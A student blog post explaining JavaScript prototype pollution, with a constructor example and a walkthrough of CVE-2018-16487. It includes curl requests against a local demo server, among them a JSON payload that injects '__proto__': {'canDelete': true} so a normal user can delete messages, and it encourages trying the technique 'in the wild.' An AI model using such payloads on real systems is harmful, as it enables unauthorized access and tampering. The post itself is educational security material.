JavaScript Prototype pollution

Mudhalai Mr
Developer Community SASTRA
4 min readMay 24, 2021

--

Prototype pollution (not to be confused with Parameter pollution)is a little-known bug. Unlike SQL Injection or XSS, Prototype pollution is not well documented. In this blog let’s understand how to exploit this bug in the wild.

Image Credits: Portswigger

What is a prototype?

In JavaScript the concepts of class and function are interrelated. The function itself acts as the constructor for the class and the actual nature has no concept of “class” in JavaScript.

JavaScript is a prototype-based language. So, whenever we create a function using JavaScript, the JavaScript Engine adds a prototype property inside the function. The prototype property is basically an object (also known as a prototype object), where we can attach methods and properties in the prototype object, which enables all the other objects to inherit these methods and properties.

We can add or modify the properties/methods of the prototype object during execution, which will be inherited by other objects created using the object literal.

 function FCB (name,position){ //function
this.name = name;
this.position = position;
}
let player2 = new FCB("Thomas Muller","Second Striker"); //objects
let player1 = new FCB("Robert Lewandowski","Striker");
// team property is added to the prototype object ( )FCB.prototype.team = "FC Bayern Munich"

When we create an object using a function constructor, JavaScript Engine will add dunder proto or __proto__ in the object which will point to the prototype’s constructor object. We can also modify the prototype object using __proto__.

As you can see the objects inherited this property. Now let’s see how we can take advantage of this.

Polluting the prototype object:

toString() method in JavaScript returns a String representing the Object. What if we override this method using the prototype object and inject some malicious code?

BOOM!! XSS

CVE-2018–16487:

PUT / - Post a new message (only registered users).

curl --request PUT \
--url http://localhost:3000/ \
--header 'content-type: application/json' \
--data '{"auth": {"name": "user", "password": "pwd"}, "message": {"text": "Hi!"}}'

DELETE / - Delete a message (only administrators).

curl --request DELETE \
--url http://localhost:3000/ \
--header 'content-type: application/json' \
--data '{"auth": {"name": "admin", "password": "???"}, "messageId": 2}'

Exploit:

curl --request PUT \
--url http://localhost:3000/ \
--header 'content-type: application/json' \
--data '{"auth": {"name": "user", "password": "pwd"}, "message": { "text": "😈", "__proto__": {"canDelete": true}}}'

To set the “delete” property as true,

curl --request DELETE \
--url http://localhost:3000/ \
--header 'content-type: application/json' \
--data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 1}'

Deleting a message.

Other Real World bugs:

https://snyk.io/vuln/SNYK-JS-JSINI-1048970
https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
https://portswigger.net/daily-swig/prototype-pollution-bug-in-popular-node-js-library-leaves-web-apps-open-to-dos-remote-shell-attacks

Conclusion:

Though Prototype pollution is an easy bug to understand, it is not an easy bug to exploit. In many cases, you will not be able to send __proto__ through JSON & POST as WAFs have evolved to protect against these attacks. But, it is worth trying.

For more blogs like this checkout Mudhalai Mr,

Thank You :)

--

--

Mudhalai Mr
Developer Community SASTRA

<>AKA Gowtham Student at SASTRA Deemed university, Core team member DSC SASTRA </>